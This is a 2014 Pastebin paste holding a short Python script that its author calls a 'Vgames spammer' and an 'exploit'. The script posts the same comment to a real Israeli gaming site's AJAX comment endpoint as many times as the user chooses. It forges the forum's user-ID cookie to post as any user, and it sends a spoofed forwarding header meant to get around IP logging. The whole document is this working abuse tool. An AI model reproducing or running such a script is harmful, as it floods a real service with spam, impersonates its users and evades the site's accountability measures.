Yehonatan

Untitled

Jun 17th, 2014
329
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.35 KB | None | 0 0
  1. import requests
  2. import sys
  3.  
  4. # Vgames spammer
  5. # Made by myself
  6. # Requires requests - http://docs.python-requests.org/en/latest/
  7. # Syntax: python FILENAME <userid> <objectid> <uname - optional> <comment - optional>
  8. # + number of times to spam, request will be made upon running the script
  9. # Very simple but funny exploit. Your IP is being saved and logged, so be smart.
  10.  
  11. if len(sys.argv) > 1:
  12.     url = 'http://www.vgames.co.il/ajax_dispatcher.php'
  13.     userid = dict(bbuserid=sys.argv[1])
  14.     uname = 'bot'
  15.     comment = 'botbot'
  16.  
  17.     if len(sys.argv) > 3:
  18.         uname = sys.argv[3]
  19.     if len(sys.argv) > 4:
  20.         comment = sys.argv[4]
  21.  
  22.     params = {
  23.     'do':'Ajax_Article_PostComment',
  24.     'objectid': sys.argv[2],
  25.     'uname': uname,
  26.     'comment': comment
  27.     }
  28.     headers = {
  29.     'Referer': 'http://www.vgames.co.il/article/' + sys.argv[2] + '.html',
  30.     'X-Requested-With' : 'XMLHttpRequest',
  31.     'Content-Type':'application/x-www-form-urlencoded',
  32.     'Host':'www.vgames.co.il',
  33.     'Origin':'http://www.vgames.co.il',
  34.     'X-Http-Forwarded-For': '127.0.0.1'
  35.     }
  36.  
  37.     times = int(raw_input("Times to spam:"))
  38.     while times != 0:
  39.         r = requests.post(
  40.             url,
  41.             cookies=userid,
  42.             headers=headers,
  43.             data=params
  44.             )
  45.         if 'xml' in r.text:
  46.             print 'success'
  47.         else:
  48.             print 'fail'
  49.         times = times - 1
  50. else:
  51.     print """Syntax: <userID> <objectID>
  52.     <uname - optional> <comment - optional>"""
Advertisement
Add Comment
Please, Sign In to add comment